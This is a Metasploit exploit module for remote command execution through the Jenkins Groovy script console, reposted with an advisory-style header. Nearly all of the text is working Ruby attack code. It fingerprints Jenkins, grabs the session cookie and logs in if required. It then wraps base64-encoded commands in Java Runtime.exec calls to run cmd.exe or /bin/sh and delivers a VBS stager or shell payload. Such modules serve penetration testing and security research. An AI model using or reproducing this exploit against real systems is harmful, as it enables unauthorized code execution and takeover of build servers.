Jenkins CI Script Console Command Execution MSF Module

2013.01.19
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerVBS def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins Script-Console Java Execution', 'Description' => %q{ This module uses the Jenkins Groovy script console to execute OS commands using Java. }, 'Author' => [ 'Spencer McIntyre', 'jamcut' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: $', 'DefaultOptions' => { 'WfsDelay' => '10', }, 'References' => [ ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'] ], 'Targets' => [ ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}], ['Unix', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}], ], 'DisclosureDate' => 'Jan 18 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]), OptString.new('PATH', [ true, 'The path to jenkins', '/jenkins' ]), ], self.class) end def check res = send_request_cgi({'uri' => "#{datastore['PATH']}/login"}) if res and res.headers.include?('X-Jenkins') return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def http_send_command(cmd, opts = {}) res = send_request_cgi({ 'method' => 'POST', 'uri' => datastore['PATH'] + '/script', 'cookie' => @cookie, 'vars_post' => { 'script' => java_craft_runtime_exec(cmd), 'Submit' => 'Run' } }) if not (res and res.code == 200) fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.') end end def java_craft_runtime_exec(cmd) decoder = Rex::Text.rand_text_alpha(5, 8) decoded_bytes = Rex::Text.rand_text_alpha(5, 8) cmd_array = Rex::Text.rand_text_alpha(5, 8) jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n" jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n" jcode << "String [] #{cmd_array} = new String[3];\n" if target['Platform'] == 'win' jcode << "#{cmd_array}[0] = \"cmd.exe\";\n" jcode << "#{cmd_array}[1] = \"/c\";\n" else jcode << "#{cmd_array}[0] = \"/bin/sh\";\n" jcode << "#{cmd_array}[1] = \"-c\";\n" end jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n" jcode << "Runtime.getRuntime().exec(#{cmd_array});\n" jcode end def execute_command(cmd, opts = {}) http_send_command("#{cmd}") end def exploit print_status('Checking access to the script console') res = send_request_cgi({'uri' => "#{datastore['PATH']}/script"}) if not (res and res.code) fail_with(Exploit::Failure::Unknown) end sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0] @cookie = "#{sessionid}" if res.code != 200 print_status('Logging in...') res = send_request_cgi({ 'method' => 'POST', 'uri' => datastore['PATH'] + '/j_acegi_security_check', 'cookie' => @cookie, 'vars_post' => { 'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'), 'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'), 'Submit' => 'log in' } }) if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/ fail_with(Exploit::Failure::NoAccess, 'login failed') end else print_status('No authentication required, skipping login...') end case target['Platform'] when 'win' print_status("#{rhost}:#{rport} - Sending VBS stager...") execute_cmdstager({:linemax => 2049}) when 'unix' print_status("#{rhost}:#{rport} - Sending payload...") http_send_command("#{payload.encoded}") end handler end end

References:

https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console


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